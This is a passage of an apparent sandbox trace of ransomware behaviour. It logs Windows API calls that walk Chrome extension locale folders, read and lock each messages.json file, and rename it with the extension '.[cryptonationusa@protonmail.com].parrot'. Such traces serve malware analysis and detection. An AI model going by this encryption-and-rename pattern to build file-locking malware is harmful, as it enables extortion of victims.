Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.556] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.556] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9ec7b60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9ec7b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.556] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834879b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9ea1a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.556] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.556] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.556] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.556] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.556] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.556] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8348eee0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.559] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x410a, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.559] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.559] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.561] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.561] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3ff2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3ff2, lpOverlapped=0x0) returned 1 [0074.563] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.564] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x410a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.564] CloseHandle (hObject=0x274) returned 1 [0074.564] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.567] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.567] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9ec7b60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9ec7b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.567] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8348eee0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9ec7b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4118, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.567] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.567] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.567] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.567] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.567] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.567] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83498b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8349d940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.568] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x41ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.568] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.568] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.569] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.569] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x40d4, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x40d4, lpOverlapped=0x0) returned 1 [0074.571] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.571] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x41ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.572] CloseHandle (hObject=0x274) returned 1 [0074.572] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.575] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.575] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9eedcc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9eedcc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.575] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83498b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8349d940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9eedcc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x41f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.575] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.575] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.575] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.575] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.575] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.575] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a4e70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.576] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f75, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.576] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.576] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.577] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.577] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3e5d, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3e5d, lpOverlapped=0x0) returned 1 [0074.580] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.580] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f75, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.580] CloseHandle (hObject=0x274) returned 1 [0074.580] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.583] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.583] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9eedcc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9eedcc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.584] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a4e70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9eedcc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.584] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.584] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.584] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.584] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.584] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.585] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.586] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4024, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.586] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.586] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.587] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.587] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3f0c, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3f0c, lpOverlapped=0x0) returned 1 [0074.589] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.590] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4024, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.590] CloseHandle (hObject=0x274) returned 1 [0074.591] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.596] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.596] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9f13e20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9f13e20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.596] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9f13e20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4028, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.596] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.596] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.597] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.597] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.597] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.597] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834b11c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b38d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x5074, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.598] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x518c, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.598] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, 